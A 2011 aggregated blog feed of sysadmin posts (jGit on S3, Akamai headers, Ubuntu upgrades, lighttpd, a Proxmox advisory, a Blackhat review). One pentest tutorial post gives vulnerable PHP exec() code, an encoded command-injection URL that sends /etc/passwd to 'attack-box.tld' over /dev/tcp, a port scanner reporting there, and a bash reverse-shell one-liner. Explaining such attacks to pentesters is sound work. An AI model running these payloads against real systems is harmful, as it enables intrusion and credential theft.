First, you need to install Java Runtinme, Git (openjdk-6-jre and git packages in Debian) and download jGit :
&lt;pre class=&quot;sh_sh&quot;&gt;
sudo wget -O /usr/local/bin/jgit &quot;http://download.eclipse.org/jgit/maven/org/eclipse/jgit/org.eclipse.jgit.pgm/1.0.0.201106090707-r/org.eclipse.jgit.pgm-1.0.0.201106090707-r.sh&quot;
sudo chmod +x /usr/local/bin/jgit
&lt;/pre&gt;
Create Access Keys in your Amazon Web Services Console and add them to your ~/.jgit file :
&lt;pre class=&quot;sh_sh&quot;&gt;
echo &quot;accesskey: your_access_key&quot; &gt; ~/.jgit
echo &quot;privatekey: your_private_key&quot; &gt;&gt; ~/.jgit
chmod 600 ~/.jgit
&lt;/pre&gt;
You also need to create a S3 bucket, let's call it &quot;my_git&quot;. 
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Initializing repo &amp;amp; pushing to S3&lt;/b&gt;&lt;/u&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;
cd ~/hack/project_name/
git init
git remote add s3 amazon-s3://.jgit@my_git/project-name.git
git add *
git commit -m &quot;Initial Commit&quot; -a
jgit push s3 master
&lt;/pre&gt;
&lt;u&gt;&lt;b&gt;Cloning repository from S3&lt;/b&gt;&lt;/u&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;
cd ~/tmp/
jgit clone amazon-s3://.jgit@my_git/project-name.git
&lt;/pre&gt;
&lt;u&gt;&lt;b&gt;Updating&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
jGit doesn't support merge or pull so do it in 2 steps :
&lt;pre class=&quot;sh_sh&quot;&gt;
cd ~/tmp/project-name/
jgit fetch
git merge origin/master
&lt;/pre&gt;
As you can see, jGit is only used when interacting with S3, standard git commands are still used otherwise.
&lt;/p&gt;</description>
	<pubDate>lun, 01 aoû 2011 16:03:57 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Troubleshooting Akamai delivery - Getting Headers using curl</title>
	<guid>http://www.tuxz.net/blog/archives/2011/07/24/troubleshooting_akamai_delivery_-_getting_headers/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/07/24/troubleshooting_akamai_delivery_-_getting_headers/</link>
	<description>&lt;p&gt;
I'm playing with &lt;a href=&quot;http://www.akamai.com/&quot;&gt;Akamai&lt;/a&gt; everyday and often have to analyze / debug objects delivery.&lt;br /&gt;
One method is to craft custom HTTP requests with &lt;b&gt;curl&lt;/b&gt; by injecting specific &lt;b&gt;request headers&lt;/b&gt; :
&lt;/p&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;
$ curl -I -H &quot;Pragma: akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-nonces, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no&quot;
&lt;/pre&gt;
&lt;p&gt;
By aliasing this command in your shell, usage is simple (ie the homepage Facebook logo) :
&lt;/p&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;
$ akcurl http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
HTTP/1.1 200 OK
Content-Length: 2209
Content-Type: image/png
Last-Modified: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: 
Cache-Control: public, max-age=17729726
Expires: Wed, 15 Feb 2012 02:30:08 GMT
Date: Sun, 24 Jul 2011 21:34:42 GMT
X-Cache: TCP_MEM_HIT from a212-243-221-243 (AkamaiGHost/6.5.0.2-8185567) (-)
X-Cache-Key: /L/749/27754/28d/static.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
X-True-Cache-Key: /L/static.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png
X-Akamai-Session-Info: name=PARENT_SETTING; value=TD
X-Serial: 749
Connection: keep-alive
X-Check-Cacheable: YES
&lt;/pre&gt;</description>
	<pubDate>dim, 24 jui 2011 23:41:52 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: 12th Annual System Administrator Appreciation Day</title>
	<guid>http://www.tuxz.net/blog/archives/2011/07/16/12th_annual_system_administrator_appreciation_day/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/07/16/12th_annual_system_administrator_appreciation_day/</link>
	<description>&lt;p&gt;
&lt;a href=&quot;http://www.sysadminday.com&quot;&gt;
&lt;img src=&quot;http://static.tuxz.net/img/thumbsup-234x60.gif&quot; alt=&quot;SysAdminDay&quot; /&gt;
&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Friday, July 29, 2011, is the 12th annual System Administrator Appreciation Day. On this special international day, give your System Administrator something that shows that you truly appreciate their hard work and dedication. (All day Friday, 24 hours, your own local time-zone).&lt;br /&gt;&lt;br /&gt;
In case, I've updated &lt;a href=&quot;https://www.thinkgeek.com/brain/gimme.cgi?wid=81ec6b407&quot;&gt;my thinkgeek wishlist&lt;/a&gt; :-)
&lt;/p&gt;</description>
	<pubDate>sam, 16 jui 2011 16:59:14 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: L'enfer c'est les autres</title>
	<guid>urn:md5:e4393520f44cf1317bb3fe646210f04e</guid>
	<link>http://blog.alio.fr/?post/2011/06/30/L-enfer-c-est-les-autres</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://blogs.lesechos.fr/internetactu-net/le-risque-de-l-individualisation-de-l-internet-a6072.html&quot;&gt;Le risque de l'individualisation de l'internet - Blogs InternetActu.net&lt;/a&gt;&lt;/p&gt;


&lt;blockquote&gt;&lt;p&gt;Cette étude montrait qu'en 9 ans, alors qu'un consensus scientifique s'établissait sur le changement climatique, la part des républicains pensant que la terre se réchauffait passait de 49 % à 29 %, celle des démocrates de 60% à 70 % ...&lt;/p&gt;&lt;/blockquote&gt;</description>
	<pubDate>mer, 29 jun 2011 22:00:00 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Remote Command Injection - Playing with /dev/tcp</title>
	<guid>http://www.tuxz.net/blog/archives/2011/05/23/remote_command_injection_-_playing_with_devtcp/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/05/23/remote_command_injection_-_playing_with_devtcp/</link>
	<description>&lt;p&gt;Important note : this article is for educational purpose only ... &lt;br /&gt;
When pentesting web applications, you can sometimes found remote command injection vulnerabilities. These vulnerabilities exist when user input is not properly sanitized and used, inside, for example, PHP functions such as exec(), system() ... here's a stupid example of vulnerable code :&lt;/p&gt;
&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
/*
 * Stupid example
 */

function create_dir($dir) {
        @exec('mkdir /var/tmp_storage/'.$dir, $out, $ret);
}

// call my vulnerable function
create_dir( $_GET['dir'] );
?&amp;gt;
&lt;/pre&gt;
&lt;p&gt;
In this case, you can see that &lt;i&gt;$_GET['dir']&lt;/i&gt; is injectable, but no output will be returned to user. Considering that you can't create any file into the DocumentRoot of the vulnerable site, and that you can't upload your own binary (netcat for example), here's a good way to exploit &lt;i&gt;/dev/tcp&lt;/i&gt; capabilities to send everything you want to another server and much more. 
&lt;/p&gt;
&lt;b&gt;&lt;u&gt;What is /dev/tcp ?&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;&lt;i&gt;/dev/tcp&lt;/i&gt; is a Bash built-in which can be used to create a TCP socket on which you can interact using regular IO redirections.

&lt;b&gt;&lt;u&gt;Usage / Exploitation&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Put netcat in listen mode on a remote box &quot;attack-box.tld&quot; on a given port (4444 here)
&lt;pre class=&quot;sh_sh&quot;&gt;
$ nc -klvp 4444
listening on [any] 4444 ...
&lt;/pre&gt;

Then, send a crafted request on the vulnerable file :
&lt;pre class=&quot;sh_sh&quot;&gt;
% curl -I 'http://www.victim.tld/create_dir.php?dir=%2f%3B%20bash%20-c%20%22cat%20%2fetc%2fpasswd%3E/dev/tcp/attack-box.tld/4444&quot;'
HTTP/1.1 200 OK
Content-type: text/html
Date: Mon, 23 May 2011 19:45:08 GMT
Server: Apache 

&lt;/pre&gt;

You can immediately see on &quot;attack-box&quot; the following output, the victim's /etc/passwd file :
&lt;pre class=&quot;sh_sh&quot;&gt;
$ nc -klvp 4444
listening on [any] 4444 ...
connect to [xxx.xxx.xxx.xxx] from www.victim.tld [yyy.yyy.yyy.yyy] 37216
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
postfix:x:101:105::/var/spool/postfix:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
[...]
&lt;/pre&gt;


&lt;b&gt;&lt;u&gt;More fun ...&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
You can also use &lt;i&gt;/dev/tcp&lt;/i&gt; properties to create a basic port-scanner, which can send to your box the results :
&lt;pre class=&quot;sh_sh&quot;&gt;
port=1;
ip=192.168.142.12;
while [ $port -lt 1024 ];
do
  echo &gt; /dev/tcp/$ip/$port;
  [ $? == 0 ] &amp;amp;&amp;amp; echo &quot;Found ${ip}:${port} opened&quot; &gt;&gt; /tmp/ports;
  port=`expr $port + 1`;
done;
cat /tmp/ports &gt; /dev/tcp/attack-box.tld/4444;
&lt;/pre&gt;

Or also use it to bring up a quick reverse-shell :
&lt;pre class=&quot;sh_sh&quot;&gt;
$ bash -i &gt;&amp;amp; /dev/tcp/attack-box.tld/4444 0&gt;&amp;amp;1
&lt;/pre&gt;
&lt;br /&gt;
Of course, for those 2 examples, you need a nc listening on &quot;attack-box.tld&quot; ...</description>
	<pubDate>lun, 23 mai 2011 22:01:03 +0000</pubDate>
</item>
<item>
	<title>Encolpe DEGOUTE: Problème de wifi avec Ubuntu Natty 11.04 avec les Acer ou les cartes Atheros</title>
	<guid>http://encolpe.wordpress.com/?p=501</guid>
	<link>http://encolpe.wordpress.com/2011/05/02/probleme-de-wifi-avec-ubuntu-natty-11-04-avec-les-acer-ou-les-cartes-atheros/</link>
	<description>&lt;p&gt;Depuis mon dernier article j&amp;#8217;ai cherché une solution à mon problème de Wifi et après plusieurs recherches j&amp;#8217;ai fini par trouver plusieurs messages pertinents qui ne résolvait pas le problème pour autant. Il m&amp;#8217;était impossible d&amp;#8217;activer le wifi que ce soit sous GNOME ou sous KDE et que ce soit avec une carte interne ou une clé USB Wifi.&lt;/p&gt;
&lt;p&gt;Mon problème venait manifestement d&amp;#8217;un pilote pour acer (&lt;strong&gt;&lt;em&gt;acer-wmi&lt;/em&gt;&lt;/strong&gt;) et pas d&amp;#8217;un pilote des cartes wifi internes et externes que j&amp;#8217;ai testé. Par contre d&amp;#8217;autres utilisateurs expérimentent un problème liés aux chipsets Atheros et en particulier le pilote ath5x.&lt;/p&gt;
&lt;p&gt;Les liens en anglais :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p id=&quot;edit-title&quot;&gt;&lt;a href=&quot;https://bugs.launchpad.net/ubuntu/natty/+source/linux/+bug/710738&quot; target=&quot;_blank&quot;&gt;Regression latest kernel breaks my Atheros AR5001 wifi&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p id=&quot;edit-title&quot;&gt;&lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/plasma-widget-networkmanagement/+bug/747081&quot; target=&quot;_blank&quot;&gt;[Natty] [Kubuntu] Cannot enable wireless in Network Manager plasmoid&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;En Français 2 fils de discussion qui donne la solution pour chacun des problèmes :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ACER =&amp;gt; &lt;a href=&quot;http://forum.ubuntu-fr.org/viewtopic.php?id=465321&quot;&gt;[Résolu] Atheros 9287 ne se connecte pas sur Ubuntu 11.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Atheros =&amp;gt; &lt;a href=&quot;http://forum.ubuntu-fr.org/viewtopic.php?id=467961&quot;&gt;Wifi indisponible sur Vaio VPCYA1V9E avec 11.04&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Pour tous les problèmes de Wifi je vous conseille de faire un tour sur le &lt;a title=&quot;Ubuntu-fr Forum Wifi&quot; href=&quot;http://forum.ubuntu-fr.org/viewforum.php?id=82&quot; target=&quot;_blank&quot;&gt;Forum Wifi&lt;/a&gt; de votre distribution avant de vous lancer dans des recherches fastidieuses sur le net.&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/encolpe.wordpress.com/501/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/encolpe.wordpress.com/501/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/encolpe.wordpress.com/501/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/encolpe.wordpress.com/501/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/encolpe.wordpress.com/501/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/encolpe.wordpress.com/501/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/encolpe.wordpress.com/501/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/encolpe.wordpress.com/501/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/encolpe.wordpress.com/501/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/encolpe.wordpress.com/501/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/encolpe.wordpress.com/501/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/encolpe.wordpress.com/501/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/encolpe.wordpress.com/501/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/encolpe.wordpress.com/501/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&amp;amp;blog=1743175&amp;amp;post=501&amp;amp;subd=encolpe&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
	<pubDate>lun, 02 mai 2011 14:02:59 +0000</pubDate>
</item>
<item>
	<title>Encolpe DEGOUTE: Test de Ubuntu Natty 11.04</title>
	<guid>http://encolpe.wordpress.com/?p=493</guid>
	<link>http://encolpe.wordpress.com/2011/04/14/test-de-ubuntu-natty-11-04/</link>
	<description>&lt;p&gt;En bon geek je ne pouvais pas attendre la date officielle de publication de la prochaine version de la distribution linux Ubuntu : la Natty 11.04. J&amp;#8217;avais besoin de me faire une idée sur le fonctionnement de Firefox 4 et de WebGL par exemple, ainsi que de voir si mon matériel était mieux supporté (pilote wifi récalcitrant et pilote de la tablette &lt;strong&gt;Wacom bamboo&lt;/strong&gt; à installer à la main). Une particularité de mon système est d&amp;#8217;utiliser une partition racine  et un swap chiffrés avec &lt;strong&gt;dm-crypt&lt;/strong&gt;. Seule une petite partition &lt;em&gt;/boot&lt;/em&gt; est accessible sans le chiffrage. L&amp;#8217;autre est que j&amp;#8217;utilise KUbuntu&amp;#8230; les goûts et les couleurs ne se discutent pas !&lt;/p&gt;
&lt;h2&gt;Mise-à-jour vers natty&lt;/h2&gt;
&lt;p&gt;La mise-à-jour n&amp;#8217;étant pas encore proposé par le système il faut changer la configuration à la main. J&amp;#8217;ai donc choisi la manière sans finesse en changeant tous les &amp;#8216;&lt;strong&gt;maverick&lt;/strong&gt;&amp;#8216; en &amp;#8216;&lt;strong&gt;natty&lt;/strong&gt;&amp;#8216; dans le fichier &lt;em&gt;/etc/apt/sources.list&lt;/em&gt; et dans les fichiers présents dans le répertoire &lt;em&gt;/etc/apt/sources.list.d/&lt;/em&gt;. Cela peut créer des erreurs lors de la mise-à-jour de la liste des paquets mais cela permet de voir qui anticipe les nouvelles versions et qui ne le fait pas.&lt;/p&gt;
&lt;p&gt;Pour lancer la migration il ne reste que 2 commandes à lancer :&lt;/p&gt;
&lt;pre&gt;sudo apt-get update
sudo apt-get dist-upgrade&lt;/pre&gt;
&lt;p&gt;Seul le dépôt de Virtualbox ne possède pas encore de version en natty parmi tout ceux qui sont activés dans ma configuration.&lt;/p&gt;
&lt;p&gt;Sur les plus que 4000 paquets installés plus de 2500 sont à mettre à jour soit 3Go de données à télécharger et 1G0 de plus sur le disque à la fin de la procédure. J&amp;#8217;ai peu être la mémoire courte mais je ne me souviens pas avoir eu une mise-à-jour aussi importante aussi bien en terme de nombre de paquets qu&amp;#8217;en terme de quantité à télécharger.  Le téléchargement a duré 2 heures sans accrocs.&lt;/p&gt;
&lt;p&gt;A part pour la mise à jour de la glibc et le redémarrage des services aucune question ne m&amp;#8217;a été posée. Il a fallu que je relance la procédure une deuxième fois à cause du paquet &lt;strong&gt;halevt&lt;/strong&gt; qui a fait une erreur. C&amp;#8217;est un paquet optionnel donc je l&amp;#8217;ai supprimé et la procédure est arrivé à son terme après 2 heures de travail.&lt;/p&gt;
&lt;h2&gt;Redémarrage et tests&lt;/h2&gt;
&lt;p&gt;Un petit moment de tension au moment du redémarrage : est-ce que mes partitions  dm-crypt vont être prises en charge correctement ? Mauvaise surprise : l&amp;#8217;écran reste noir mais le système semble être lancé ! Je tape le mot de passe et l&amp;#8217;écran s&amp;#8217;allume enfin&amp;#8230; sans doute un problème de framebuffer au démarrage. L&amp;#8217;interface se lance correctement et me demande de changer de type de session : la session &lt;strong&gt;KDE&lt;/strong&gt; n&amp;#8217;existe plus il faut choisir &amp;#8216;&lt;strong&gt;KDE Plasma Desktop&lt;/strong&gt;&amp;#8216;. Le pilote graphique propriétaire a été désactivé lors de la mise-à-jour et le pilote libre rame toujours autant. La réactivation du pilote propriétaire prend 2 minutes mais nécessite un redémarrage. Même écran noir que précédemment pour la saisie du mot de passe en aveugle. Pas franchement pratique. De plus l&amp;#8217;interface graphique démarre avant que la partition swap soit débloquée ce qui fait qu&amp;#8217;il faut tuer la demande de mot de passe en court à coup de &lt;em&gt;kill -9&lt;/em&gt; avant de la relancer.&lt;/p&gt;
&lt;p&gt;Firefox 4 est plus rapide à démarrer mais pas forcément plus léger en mémoire au bout de plusieurs heures d&amp;#8217;utilisation. Sans doute un problème avec Flash ou Java toujours très gourmand. Mon test de WebGL est un échec : les pilotes mesa et ATI ne sont pas supportés par firefox 4. Pour le moment seul les pilotes nvidia permettent d&amp;#8217;utiliser ce mode. Vous pouvez essayer ici pour les curieux : http://helloracer.com/webgl/.&lt;/p&gt;
&lt;p&gt;La tablette Wacom Bamboo est reconnue sans aucun problème&amp;#8230; si elle est branchée avant le démarrage de l&amp;#8217;interface. Ce n&amp;#8217;est pas très plug and play mais cela suffira pour le moment. Le Wifi gèle encore la machine au bout d&amp;#8217;un certain temps.&lt;/p&gt;
&lt;p&gt;Ce fut long mais pas laborieux. Il reste encore quelques points à revoir (wifi, dm-crypt pour le swap) mais cette nouvelle version est globalement satisfaisante. Vivement la version finale à la fin du mois.&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/encolpe.wordpress.com/493/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/encolpe.wordpress.com/493/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/encolpe.wordpress.com/493/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/encolpe.wordpress.com/493/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/encolpe.wordpress.com/493/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/encolpe.wordpress.com/493/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/encolpe.wordpress.com/493/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/encolpe.wordpress.com/493/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/encolpe.wordpress.com/493/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/encolpe.wordpress.com/493/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/encolpe.wordpress.com/493/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/encolpe.wordpress.com/493/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/encolpe.wordpress.com/493/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/encolpe.wordpress.com/493/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&amp;amp;blog=1743175&amp;amp;post=493&amp;amp;subd=encolpe&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
	<pubDate>jeu, 14 avr 2011 12:02:31 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Optimizing website performance using lighttpd mod_compress and /dev/shm</title>
	<guid>http://www.tuxz.net/blog/archives/2011/04/09/optimizing_website_performance_using_lighttpd_mod/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/04/09/optimizing_website_performance_using_lighttpd_mod/</link>
	<description>&lt;p&gt;
Lighttpd allows output compression for static files using gzip (RFC1952), deflate (RFC1950, RFC1951) and bzip2 through mod_compress. As major HTTP clients now supports content compression, and announce it to webservers using the &quot;Accept-Encoding&quot; HTTP header, compressing content before sending it is a good way to reduce network load and improve the overall throughput of the webserver.&lt;br /&gt;
&lt;br /&gt;
Lighttpd needs a cache folder to store compressed data, so in order to improve performance, we will use /dev/shm as storage point. /dev/shm appears as a mounted fs but instead of using a physical partition, he relies on virtual memory. Here is the relevant part of the config (/etc/lighttpd/lighttpd.conf):

&lt;pre&gt;
server.modules              = (
	[...]
	&quot;mod_compress&quot;,
	[...]
)

compress.allowed-encodings = (&quot;gzip&quot;, &quot;deflate&quot;)
compress.cache-dir          = &quot;/dev/shm/lightty_compress/&quot;
compress.filetype           = (&quot;text/plain&quot;,&quot;text/css&quot;,&quot;text/xml&quot;,&quot;text/javascript&quot;,&quot;text/html&quot;,&quot;application/javascript&quot;)
&lt;/pre&gt;

The cache folder will be automatically created on lightty startup. This setup is quite basic (compression of CSS, JS &amp;amp; HTML files), but covers my needs (no dynamic language such as PHP). Let's see the difference with and without output compression :
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Without output compression&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;img src=&quot;http://www.tuxz.net/blog/images/before_compress.png&quot; alt=&quot;without output compression&quot; /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;With output compression&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;img src=&quot;http://www.tuxz.net/blog/images/after_compress.png&quot; alt=&quot;with output compression&quot; /&gt;
&lt;br /&gt;
&lt;br /&gt;
No more comments needed :-)
&lt;/p&gt;</description>
	<pubDate>sam, 09 avr 2011 15:31:10 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: [Security Advisory] Multiple vulnerabilities in PVE Manager</title>
	<guid>http://www.tuxz.net/blog/archives/2011/03/31/security_advisory_multiple_vulnerabilities_in_pv/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/03/31/security_advisory_multiple_vulnerabilities_in_pv/</link>
	<description>I want to warn you about multiple vulnerabilities (Cross-Site Scripting &amp;amp; Cross-Site Request Forgery) I've found into Proxmox Virtual Environment Manager. Proxmox is an Open Source virtualization platform for running Virtual Appliances and Virtual Machines (OpenVZ &amp;amp; KVM).&lt;br /&gt;&lt;br /&gt; 
These vulnerabilities can be exploited by an attacker to trigger actions (CT shutdown, removal ...) on targetted PVE Manager.&lt;br /&gt;

&lt;table class=&quot;advisory&quot;&gt;
	&lt;tr&gt;
		&lt;td class=&quot;title&quot;&gt;Product affected&lt;/td&gt;	
		&lt;td class=&quot;content&quot;&gt;Proxmox Virtual Environment Manager&lt;/td&gt;	
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td class=&quot;title&quot;&gt;Versions affected&lt;/td&gt;
		&lt;td class=&quot;content&quot;&gt; &amp;lt;= 1.7&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td class=&quot;title&quot;&gt;Details&lt;/td&gt;
		&lt;td class=&quot;content&quot;&gt;
			Persistant XSS in CT &quot;Note&quot; Field (&lt;a href=&quot;http://projects.webappsec.org/Cross-Site-Scripting&quot;&gt;WASC-08&lt;/a&gt;)&lt;br /&gt;
			Multiple CSRF in various forms, can lead to force CT shutdown ... (&lt;a href=&quot;http://projects.webappsec.org/Cross-Site-Request-Forgery&quot;&gt;WASC-09&lt;/a&gt;)&lt;br /&gt;	
		&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td class=&quot;title&quot;&gt;Disclosure Timeline&lt;/td&gt;
		&lt;td class=&quot;content&quot;&gt;
			2011-03-16 : Identified vulnerabilities&lt;br /&gt;
			2011-03-21 : Informed vendor (Dietmar Maurer @ promox com )&lt;br /&gt;
			2011-03-22 : Provided additional informations to vendor&lt;br /&gt;
			2011-03-25 : Patch applied by vendor&lt;br /&gt;
			2011-03-30 : New Proxmox Release&lt;br /&gt;
			2011-03-31 : Disclosed at my site&lt;br /&gt;
		&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td class=&quot;title&quot;&gt;Mitigation&lt;/td&gt;
		&lt;td class=&quot;content&quot;&gt;
			Upgrade to the latest version (1.8-15)	
		&lt;/td&gt;
	&lt;/tr&gt;
&lt;/table&gt;</description>
	<pubDate>jeu, 31 mar 2011 19:01:03 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Blackhat Europe 2011 - Briefings review</title>
	<guid>http://www.tuxz.net/blog/archives/2011/03/21/blackhat_europe_2011_-_briefings_review/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/03/21/blackhat_europe_2011_-_briefings_review/</link>
	<description>&lt;img src=&quot;http://www.tuxz.net/blog/images/bheu2011/bh_eu.png&quot; /&gt;&lt;br /&gt; 
&lt;br /&gt;
Just coming back from my week at Barcelona, Spain where I came to attend Blackhat Europe Briefings &amp;amp; Trainings.&lt;br /&gt;
It was my first BH, and I must admit that it was what I expected : fun, very interesting and instructive.&lt;br /&gt;
&lt;br /&gt;
Many tracks sounds very interesting (see &lt;a href=&quot;https://www.blackhat.com/html/bh-eu-11/bh-eu-11-schedule.html&quot;&gt;schedule&lt;/a&gt;), it was quite hard to make a choice, but I end up with the following :&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[core attacks] New Age Attacks Against Apple's iOS (and Countermeasures)&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speaker : Nitesh Danjani&lt;/i&gt;&lt;br /&gt;
This talks started with two numbers : 100 million iPhones &amp;amp; 15 million iPads sold. These impressive results are mainly due to well-designed hardware and very intuitive software. The reality now is that with 15 billion apps downloaded, more and more users are storing personal data, and that, in corporate environments, they are becoming to store confidential informations (email ...).&lt;br /&gt;
iOS uses URLSchemes (protocol handlers) to link requests between applications which is quite common, however, except for &quot;tel:/&quot;, no confirmation is prompted, so it's quite easy to make iOS-based devices to start applications remotely for example using an iframe in a web page :&lt;br /&gt;
&lt;pre&gt;
&amp;lt;iframe src=&quot;gtalk://justin_bieber&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/pre&gt;
